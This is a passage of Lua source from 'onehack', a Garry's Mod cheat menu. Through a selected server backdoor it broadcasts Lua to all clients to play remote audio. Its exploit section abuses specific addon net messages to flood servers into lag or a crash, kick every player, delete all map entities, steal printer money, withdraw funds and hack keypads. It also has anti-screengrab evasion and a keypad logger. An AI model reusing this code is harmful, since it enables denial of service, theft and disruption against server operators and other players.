1111 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TU.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Skibidi\")]])")
1112 net.WriteBit(1)
1113 net.SendToServer()
1114 end)
1115
1116 onehack.AddFunction("Музыка - нет админа", "sound", buttlistback, function()
1117 onehack.NetStart( onehack.selectedbackdoor )
1118 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/92xM.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Поиг аю я в CS\")]])")
1119 net.WriteBit(1)
1120 net.SendToServer()
1121 end)
1122
1123 onehack.AddFunction("Музыка - Па авозик - Look At Me", "sound", buttlistback, function()
1124 onehack.NetStart( onehack.selectedbackdoor )
1125 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/69Q8.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Па авозик\")]])")
1126 net.WriteBit(1)
1127 net.SendToServer()
1128 end)
1129
1130 onehack.AddFunction("Музыка - П ивет всем д узьям", "sound", buttlistback, function()
1131 onehack.NetStart( onehack.selectedbackdoor )
1132 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://supronrp.fr/secret/03.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"П ивет всем!\")]])")
1133 net.WriteBit(1)
1134 net.SendToServer()
1135 end)
1136 -- http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3
1137 onehack.AddFunction("Музыка - Меня зовут НЛО.", "sound", buttlistback, function()
1138 onehack.NetStart( onehack.selectedbackdoor )
1139 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://musicdeouff.000webhostapp.com/2016.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Я НЛО\")]])")
1140 net.WriteBit(1)
1141 net.SendToServer()
1142 end)
1143
1144 onehack.AddFunction("Музыка - ТОМАС.", "sound", buttlistback, function()
1145 onehack.NetStart( onehack.selectedbackdoor )
1146 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://fl.bisyor.net/uploads/ru/2018/04/Alley-gang-paravozik-tomas_[www.Bisyor.net].mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Томас\")]])")
1147 net.WriteBit(1)
1148 net.SendToServer()
1149 end)
1150 --
1151 onehack.AddFunction("Музыка - DSD512►Lindsey Stirling Shatter Me", "sound", buttlistback, function()
1152 onehack.NetStart( onehack.selectedbackdoor )
1153 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://ru.drivemusic.cc/dl/XYbi6hfhrl28jZHmLCG9Qw/1545785442/download_music/2014/04/lindsey-stirling-feat.-lzzy-hale-shatter-me.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"DSD512►Lindsey Stirling Shatter Me\")]])")
1154 net.WriteBit(1)
1155 net.SendToServer()
1156 end)
1157
1158 onehack.AddFunction("Музыка - Вишневая семё ка", "sound", buttlistback, function()
1159 onehack.NetStart( onehack.selectedbackdoor )
1160 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://dropmp3.ru/uploads/files/2018-08/1535648946_oni-vishnevaya-semerka.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Вишневая семё ка\")]])")
1161 net.WriteBit(1)
1162 net.SendToServer()
1163 end)
1164 onehack.AddFunction("Музыка - ООООООООООО ", "sound", buttlistback, function()
1165 onehack.NetStart( onehack.selectedbackdoor )
1166 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/6377.mp3\", \"mono\", function()end ); chat.AddText(,Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"-Уши\")]])")
1167 net.WriteBit(1)
1168 net.SendToServer()
1169 end)
1170 onehack.AddFunction("Музыка - Obeme", "sound", buttlistback, function()
1171 onehack.NetStart( onehack.selectedbackdoor )
1172 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/9Aed.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Обеме\")]])")
1173 net.WriteBit(1)
1174 net.SendToServer()
1175 end)
1176 --
1177 onehack.AddFunction("Музыка - Денза", "sound", buttlistback, function()
1178 onehack.NetStart( onehack.selectedbackdoor )
1179 net.WriteString("BroadcastLua([[sound.PlayURL( \"http://d.zaix.ru/94TW.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"Денза\")]])")
1180 net.WriteBit(1)
1181 net.SendToServer()
1182 end)
1183 onehack.AddFunction("Музыка - Big baby tape", "sound", buttlistback, function()
1184 onehack.NetStart( onehack.selectedbackdoor )
1185 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://zenmusic.org/get/music/20181121/zenmusicorg_Big_Baby_Tape_-_YA_VZYAL_TVOYU_BU_I_YA_EJO_EBU_60457129.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас иг ает: \",Color(100,255,100),\"BABY TAPE\")]])")
1186 net.WriteBit(1)
1187 net.SendToServer()
1188 end)
1189
1190 if onehack.selectedpanel != nil then
1191 onehack.selectedpanel:Remove()
1192 end
1193 onehack.selectedpanel_id = 1
1194 onehack.selectedpanel = onehackdooropt
1195 end
1196
1197 function exploitmenuopt()
1198 exploitmenuopt = vgui.Create( "DPanel" , framesag )
1199 exploitmenuopt:SetPos( 126, 9 )
1200 exploitmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1201 function exploitmenuopt:Paint( w, h )
1202 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1203 end
1204
1205 onehack.exploitspanel = vgui.Create( "DPanel", exploitmenuopt )
1206 onehack.exploitspanel:SetPos(160,5)
1207 onehack.exploitspanel:SetSize(302,373)
1208 function onehack.exploitspanel:Paint( w,h )
1209 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1210 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1211 end
1212
1213 onehack.exploitsList = vgui.Create( "DScrollPanel", onehack.exploitspanel )
1214 onehack.exploitsList:Dock(FILL)
1215 function onehack.exploitsList:Paint( w,h )
1216 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1217 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1218 end
1219 onehack.exploitsList.VBar:SetWidth(1)
1220 onehack.exploitsList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar():GetWide(), onehack.exploitsList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1221 onehack.exploitsList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnUp:GetWide(), onehack.exploitsList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1222 onehack.exploitsList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnDown:GetWide(), onehack.exploitsList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1223 onehack.exploitsList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploitsList:GetVBar().btnGrip:GetWide(), onehack.exploitsList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1224
1225 onehack.exploits_players_list = vgui.Create( "DScrollPanel", exploitmenuopt )
1226 onehack.exploits_players_list:SetPos(5,25)
1227 onehack.exploits_players_list:SetSize(150,298)
1228 function onehack.exploits_players_list:Paint( w,h )
1229 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1230 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1231 end
1232 onehack.exploits_players_list.VBar:SetWidth(1)
1233 onehack.exploits_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar():GetWide(), onehack.exploits_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
1234 onehack.exploits_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnUp:GetWide(), onehack.exploits_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
1235 onehack.exploits_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnDown:GetWide(), onehack.exploits_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
1236 onehack.exploits_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.exploits_players_list:GetVBar().btnGrip:GetWide(), onehack.exploits_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
1237
1238 onehack.player_button_prev = vgui.Create( "DButton", exploitmenuopt )
1239 onehack.player_button_prev:SetText( "" )
1240 onehack.player_button_prev:SetPos(5,5)
1241 onehack.player_button_prev:SetSize(150,20)
1242 function onehack.player_button_prev:Paint( w,h )
1243 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1244 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1245 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
1246 end
1247
1248 onehack.player_button_all = onehack.exploits_players_list:Add( "DButton" )
1249 onehack.player_button_all:SetText( "" )
1250 onehack.player_button_all:Dock( TOP )
1251 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
1252 function onehack.player_button_all:Paint( w,h )
1253 if onehack.player_button_all:IsHovered() then
1254 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1255 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1256 else
1257 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1258 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1259 end
1260 if onehack.selected_player == 0 then
1261 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1262 else
1263 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1264 end
1265 end
1266 function onehack.player_button_all:DoClick()
1267 onehack.selected_player = 0
1268 end
1269
1270 for k,v in pairs(player.GetAll()) do
1271 local onehack_player_button = onehack.exploits_players_list:Add( "DButton" )
1272 onehack_player_button:SetText( "" )
1273 onehack_player_button:Dock( TOP )
1274 onehack_player_button:DockMargin( 0, 0, 0, 0 )
1275 onehack_player_button.Paint = function( _, w, h )
1276 if onehack_player_button:IsHovered() then
1277 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1278 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
1279 else
1280 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1281 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
1282 end
1283 if onehack.selected_player == v then
1284 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
1285 else
1286 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1287 end
1288 end
1289 function onehack_player_button:DoClick()
1290 onehack.selected_player = v
1291 end
1292 end
1293
1294 onehack.exploitstrip_weapontype = vgui.Create("DTextEntry", exploitmenuopt)
1295 onehack.exploitstrip_weapontype:SetPos( 5, 329 )
1296 onehack.exploitstrip_weapontype:SetSize( 150, 25 )
1297 onehack.exploitstrip_weapontype:SetText( "" )
1298 onehack.exploitstrip_weapontype.Paint = function( self, w, h )
1299 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1300 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1301 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
1302 if onehack.exploitstrip_weapontype:GetValue() == "" then
1303 draw.SimpleText("Weapon class (* all)","DermaDefault",3,h/2,Color(255,255,255,5),0,1)
1304 end
1305 end
1306
1307 onehack.exploitstrip = vgui.Create( "DButton", exploitmenuopt )
1308 onehack.exploitstrip:SetPos( 5, 353 )
1309 onehack.exploitstrip:SetSize( 150, 25 )
1310 onehack.exploitstrip:SetText( "" )
1311 onehack.exploitstrip.Paint = function( _, w, h )
1312 if onehack.exploitstrip:IsHovered() then
1313 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1314 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1315 else
1316 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1317 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1318 end
1319 draw.SimpleText("Strip Weapon","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1320 end
1321 function onehack.exploitstrip:DoClick()
1322 if onehack.selected_player ~= 0 then
1323 local weapons = onehack.selected_player:GetWeapons()
1324 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1325 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1326 for _, g in pairs( weapons ) do
1327 for _, s in pairs( stringtotable ) do
1328 if string.find( string.lower( g:GetClass() ), s ) then
1329 onehack.StripWeapon( g )
1330 end
1331 end
1332 end
1333 else
1334 onehack.StripAllWeapons( weapons )
1335 end
1336 else
1337 for k,v in pairs(player.GetAll()) do
1338 local weapons = v:GetWeapons()
1339 if not onehack.exploitstrip_weapontype:GetValue() == "*" then
1340 local stringtotable = string.Explode( ", ", onehack.exploitstrip_weapontype:GetValue() )
1341 for _, g in pairs( weapons ) do
1342 for _, s in pairs( stringtotable ) do
1343 if string.find( string.lower( g:GetClass() ), s ) then
1344 onehack.StripWeapon( g )
1345 end
1346 end
1347 end
1348 else
1349 onehack.StripAllWeapons( weapons )
1350 end
1351 end
1352 end
1353
1354
1355 end
1356
1357 if table.HasValue( onehack.AllNets, "StackGhost" ) then
1358 onehack.AddExploit("Server Lagger", function()
1359 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1360 for i = 1, 2000 do
1361 onehack.NetStart( str )
1362 onehack.NetWireInt(69,32)
1363 onehack.SendToServak()
1364 end
1365 end)
1366 end)
1367 end
1368 if table.HasValue( onehack.AllNets, "SyncPrinterButtons76561198056171650" ) then
1369 onehack.AddExploit("Steal money of printer", function()
1370 for _,v in pairs(ents.FindByClass("adv_moneyprinter")) do
1371 if v:IsValid() then
1372 onehack.NetStart( "SyncPrinterButtons76561198056171650" )
1373 net.WriteEntity(v)
1374 net.WriteUInt(2, 4)
1375 onehack.SendToServak()
1376 end
1377 end
1378 end)
1379 end
1380 if table.HasValue( onehack.AllNets, "DL_Answering" ) then
1381 onehack.AddExploit("Kick all", function()
1382 local function reportQuestionmark()
1383 for i = 1, 2000 do
1384 onehack.NetStart("DL_Answering")
1385 net.SendToServer()
1386 end
1387 end
1388 timer.Create(onehack.RandomString(10),0.1,50,reportQuestionmark)
1389 end)
1390 end
1391 if table.HasValue( onehack.AllNets, "pac_submit" ) then
1392 onehack.AddExploit("PAC Server Lagger", function()
1393 timer.Create( onehack.RandomString(10), 0.02, 0, function()
1394 for i=1, 1000 do
1395 onehack.NetStart("pac_submit")
1396 onehack.SendToServak()
1397 end end)
1398 end)
1399 end
1400 if table.HasValue( onehack.AllNets, "Client_To_Server_OpenEditor" ) then
1401 onehack.AddExploit("Open menu SCP-249", function()
1402 onehack.NetStart("Client_To_Server_OpenEditor")
1403 onehack.SendToServak()
1404 end)
1405 end
1406
1407 if table.HasValue( onehack.AllNets, "BuyKey" ) then
1408 onehack.AddExploit("Blue UnBox buy crate and key", function()
1409 onehack.NetStart("BuyKey")
1410 onehack.SendToServak()
1411 onehack.NetStart("BuyCrate")
1412 onehack.SendToServak()
1413 end)
1414 end
1415
1416 if table.HasValue( onehack.AllNets, "ChangeOrgName" ) then
1417 onehack.AddExploit("Change org name", function()
1418 onehack.NetStart("ChangeOrgName")
1419 onehack.NetWireString("OOOOOOOOMMMMMMMMMMMGOOOOOOOOOOOOOOOOOD!")
1420 onehack.NetWireString("MY DICK SOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO BIIIIIIIIIIIG!")
1421 net.WriteEntity(LocalPlayer())
1422 onehack.SendToServak()
1423 end)
1424 end
1425
1426 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1427 onehack.AddExploit("Easy reward", function()
1428 onehack.NetStart("IS_SubmitSID_C2S")
1429 onehack.NetWireString("Killa")
1430 onehack.SendToServak()
1431 onehack.NetStart("IS_GetReward_C2S")
1432 onehack.SendToServak()
1433 end)
1434 end
1435
1436 if table.HasValue( onehack.AllNets, "IS_SubmitSID_C2S" ) then
1437 onehack.AddExploit("Easy reward", function()
1438 onehack.NetStart("IS_SubmitSID_C2S")
1439 onehack.NetWireString("Killa")
1440 onehack.SendToServak()
1441 onehack.NetStart("IS_GetReward_C2S")
1442 onehack.SendToServak()
1443 end)
1444 end
1445
1446 if table.HasValue( onehack.AllNets, "properties" ) then
1447 onehack.AddExploit("Clear map", function()
1448 for k,v in pairs(ents.GetAll()) do
1449 onehack.NetStart("properties")
1450 onehack.NetWireString( "remove" , 32 )
1451 net.WriteEntity( v )
1452 onehack.SendToServak()
1453 end
1454 end)
1455 end
1456
1457 if table.HasValue( onehack.AllNets, "start_wd_emp" ) then
1458 onehack.AddExploit("Hack all keypad's", function()
1459 onehack.NetStart('start_wd_emp')
1460 onehack.SendToServak()
1461 end)
1462 end
1463
1464 if table.HasValue( onehack.AllNets, "pac.net.TouchFlexes.ClientNotify" ) then
1465 onehack.AddExploit("PAC Server Crash", function()
1466 timer.Create(onehack.RandomString(10), 0, 0, function()
1467 for i = 1, 400 do
1468 onehack.NetStart("pac.net.TouchFlexes.ClientNotify")
1469 net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1470 onehack.SendToServak()
1471 end
1472 end)
1473 end)
1474 end
1475
1476 if table.HasValue( onehack.AllNets, "ItemStoreDrop" ) then
1477 onehack.AddExploit("ItemStore Lagger", function()
1478 timer.Create(onehack.RandomString(10), 0, 0, function()
1479 for i = 1, 1000 do
1480 onehack.NetStart("ItemStoreDrop")
1481 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1482 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1483 onehack.SendToServak()
1484 end
1485 end)
1486 end)
1487 end
1488
1489 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1490 onehack.AddExploit("TFA Lagger", function()
1491 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1492 for i = 1, 4400 do
1493 onehack.NetStart("TFA_Attachment_RequestAll",true)
1494 onehack.SendToServak()
1495 end
1496 end)
1497 end)
1498 end
1499
1500 if table.HasValue( onehack.AllNets, "TFA_Attachment_RequestAll" ) then
1501 onehack.AddExploit("TFA Lagger", function()
1502 timer.Create(onehack.RandomString(10), 0.02, 0, function()
1503 for i = 1, 4400 do
1504 onehack.NetStart("TFA_Attachment_RequestAll",true)
1505 onehack.SendToServak()
1506 end
1507 end)
1508 end)
1509 end
1510
1511 if table.HasValue( onehack.AllNets, "ts_buytitle" ) then
1512 onehack.AddExploit("Car Dealer Lagger", function()
1513 timer.Create(onehack.RandomString(10), 0, 0, function()
1514 for i=1,1000 do
1515 onehack.NetStart("ts_buytitle",true)
1516 net.WriteTable({})
1517 net.WriteTable({})
1518 net.WriteTable({})
1519 onehack.SendToServak()
1520 end
1521 end )
1522 end)
1523 end
1524
1525 if table.HasValue( onehack.AllNets, "EnterpriseWithdraw" ) then
1526 onehack.AddExploit("Withdraw moneyr", function()
1527 onehack.NetStart("EnterpriseWithdraw")
1528 net.WriteInt(100, 32)
1529 onehack.SendToServak()
1530 end)
1531 end
1532
1533 ---------------------------------------------------------------------------------------
1534 if onehack.selectedpanel != nil then
1535 onehack.selectedpanel:Remove()
1536 end
1537 onehack.selectedpanel_id = 2
1538 onehack.selectedpanel = exploitmenuopt
1539 end
1540
1541 function optionsmenuopt()
1542 optionsmenuopt = vgui.Create( "DPanel" , framesag )
1543 optionsmenuopt:SetPos( 126, 9 )
1544 optionsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1545 function optionsmenuopt:Paint( w, h )
1546 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1547 end
1548 local Theme = vgui.Create( "DColorMixer",optionsmenuopt);
1549 Theme:SetSize(227,227)
1550 Theme:SetPos(5,5)
1551 Theme:SetPalette( false )
1552 Theme:SetWangs( false )
1553 Theme:SetAlphaBar( false )
1554 Theme:SetColor(Color(onehack.theme.chroma.r,onehack.theme.chroma.g,onehack.theme.chroma.b))
1555 function Theme:ValueChanged( color)
1556 onehack.theme.chroma = Color(color.r,color.g,color.b)
1557 onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
1558 end
1559
1560 local asg = vgui.Create("DCheckBox",optionsmenuopt)
1561 asg:SetPos(237,5)
1562 asg:SetValue(onehack.Vars['ASR'])
1563 asg:SetSize(130,17)
1564 function asg:Paint(w,h)
1565 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1566 if asg:GetChecked() then
1567 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1568 end
1569 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1570 draw.SimpleText("Anti-ScreenGrab","DermaDefault",24,h/2,Color(255,255,255),0,1)
1571 onehack.Vars['ASR'] = asg:GetChecked()
1572 end
1573
1574 local asf = vgui.Create("DCheckBox",optionsmenuopt)
1575 asf:SetPos(237,27)
1576 asf:SetValue(onehack.Vars['ASF'])
1577 asf:SetSize(130,17)
1578 function asf:Paint(w,h)
1579 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1580 if asf:GetChecked() then
1581 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1582 end
1583 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1584 draw.SimpleText("Anti-FileSteal","DermaDefault",24,h/2,Color(255,255,255),0,1)
1585 onehack.Vars['ASF'] = asf:GetChecked()
1586 end
1587
1588 local bhop = vgui.Create("DCheckBox",optionsmenuopt)
1589 bhop:SetPos(237,49)
1590 bhop:SetValue(onehack.Vars['BHOP'])
1591 bhop:SetSize(130,17)
1592 function bhop:Paint(w,h)
1593 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1594 if bhop:GetChecked() then
1595 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1596 end
1597 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1598 draw.SimpleText("Bhop","DermaDefault",24,h/2,Color(255,255,255),0,1)
1599 onehack.Vars['BHOP'] = bhop:GetChecked()
1600 end
1601
1602 local WaterMark = vgui.Create("DCheckBox",optionsmenuopt)
1603 WaterMark:SetPos(237,72)
1604 WaterMark:SetValue(onehack.Vars['WaterMark'])
1605 WaterMark:SetSize(130,17)
1606 function WaterMark:Paint(w,h)
1607 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1608 if WaterMark:GetChecked() then
1609 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1610 end
1611 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1612 draw.SimpleText("WaterMark","DermaDefault",24,h/2,Color(255,255,255),0,1)
1613 onehack.Vars['WaterMark'] = WaterMark:GetChecked()
1614 end
1615
1616 local FreeCamBind = optionsmenuopt:Add( "DButton" )
1617 FreeCamBind:SetTextColor( Color( 200, 200, 200 ) )
1618 FreeCamBind:SetText( "" )
1619 FreeCamBind:SetPos(237,95)
1620 FreeCamBind:SetSize(225,23)
1621 function FreeCamBind:Paint( w,h )
1622 if FreeCamBind:IsHovered() then
1623 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1624 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
1625 else
1626 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1627 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1628 end
1629 draw.SimpleText("Spectator Mode","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
1630 end
1631
1632 FreeCamBind.DoClick = function()
1633 onehack.SpectateMode()
1634 end
1635
1636 local netname = vgui.Create( "DComboBox", optionsmenuopt )
1637 netname:SetPos( 237, 124 )
1638 netname:SetSize( 225, 23 )
1639 netname:SetValue( "Select Network String" )
1640 for _,v in pairs(onehack.foundednets) do
1641 netname:AddChoice( v )
1642 end
1643 netname.OnSelect = function( self, index, value )
1644 onehack.selectedbackdoor = value
1645 end
1646 netname.Paint = function( _, w, h )
1647 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1648 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1649 end
1650
1651 local weapnoslist = vgui.Create("DCheckBox",optionsmenuopt)
1652 weapnoslist:SetPos(237,172)
1653 weapnoslist:SetValue(onehack.Vars['WEAPON_LIST3D'])
1654 weapnoslist:SetSize(130,17)
1655 function weapnoslist:Paint(w,h)
1656 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1657 if weapnoslist:GetChecked() then
1658 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1659 end
1660 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1661 draw.SimpleText("Weapon list","DermaDefault",24,h/2,Color(255,255,255),0,1)
1662 onehack.Vars['WEAPON_LIST3D'] = weapnoslist:GetChecked()
1663 end
1664
1665 local keypadjef = vgui.Create("DCheckBox",optionsmenuopt)
1666 keypadjef:SetPos(237,192)
1667 keypadjef:SetValue(onehack.Vars['keypad_jiw'])
1668 keypadjef:SetSize(130,17)
1669 function keypadjef:Paint(w,h)
1670 onehack.DrawRect(0,0,h,h,onehack.theme.backgroundalt3)
1671 if keypadjef:GetChecked() then
1672 onehack.DrawRect(4,4,h-8,h-8,onehack.theme.chroma)
1673 end
1674 onehack.DrawOutLinedRect(0,0,h,h,onehack.theme.backgroundalt2)
1675 draw.SimpleText("Keypad logger","DermaDefault",24,h/2,Color(255,255,255),0,1)
1676 onehack.Vars['keypad_jiw'] = keypadjef:GetChecked()
1677 end
1678
1679 ------------------------------------------------------ onehack.Vars['ASR'] 1
1680 if onehack.selectedpanel != nil then
1681 onehack.selectedpanel:Remove()
1682 end
1683 onehack.selectedpanel_id = 3
1684 onehack.selectedpanel = optionsmenuopt
1685 end
1686
1687 function logsmenuopt()
1688 logsmenuopt = vgui.Create( "DPanel" , framesag )
1689 logsmenuopt:SetPos( 126, 9 )
1690 logsmenuopt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
1691 function logsmenuopt:Paint( w, h )
1692 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
1693
1694 local red = 255 - (onehack.memory["logic"]*2.55)
1695 local green = onehack.memory["logic"] * 2.55
1696 local atadd = 52
1697 draw.RoundedBox(0,5,364,200+atadd,13,onehack.theme.backgroundalt2)
1698 draw.RoundedBox(0,6,365,(200-2)+atadd,13-2,onehack.theme.backgroundalt)
1699
1700 draw.RoundedBox(0,6, 365, math.Clamp( (onehack.memory["logic"]) * 0.75, 0, 200+atadd)-2, 13-2,Color(green,red, 0, 255) )
1701 draw.SimpleText("Core memory usage: "..onehack.memory["logic"].."kb","DermaDefault",(90-6)+atadd,363+(13/2),Color(255,255,255,100),1,1)
1702
1703 local red2 = 255 - (onehack.memory["hud"]*2.55)
1704 local green2 = onehack.memory["hud"] * 2.55
1705 local atstop = 257
1706 draw.RoundedBox(0,5+atstop,364,200,13,onehack.theme.backgroundalt2)
1707 draw.RoundedBox(0,6+atstop,365,200-2,13-2,onehack.theme.backgroundalt)
1708 local hudmemstext
1709 if onehack.memory["hud"] < 0 then
1710 hudmemstext = 0
1711 else
1712 hudmemstext = onehack.memory["hud"]
1713 end
1714
1715 draw.RoundedBox(0,6+atstop, 365, math.Clamp( (onehack.memory["hud"]) * 0.75, 0, 200)-2, 13-2,Color(green2,red2, 0, 255) )
1716 draw.SimpleText("Visuals memory usage: "..hudmemstext.."kb","DermaDefault",(110-6)+atstop,363+(13/2),Color(255,255,255,100),1,1)
1717 end
1718 logsmenuoptrichtext = vgui.Create( "RichText", logsmenuopt )
1719 logsmenuoptrichtext:SetPos(5, 5)
1720 logsmenuoptrichtext:SetSize( 457,353 ) --373
1721 logsmenuoptrichtext.Paint = function( _, w, h )
1722 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
1723 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
1724 end
1725 for idx, tab in pairs(onehack.debug) do
1726 logsmenuoptrichtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
1727 logsmenuoptrichtext:AppendText( tab[1].."\n" )
1728 end
1729
1730 if onehack.selectedpanel != nil then
1731 onehack.selectedpanel:Remove()
1732 end
1733 onehack.selectedpanel_id = 4
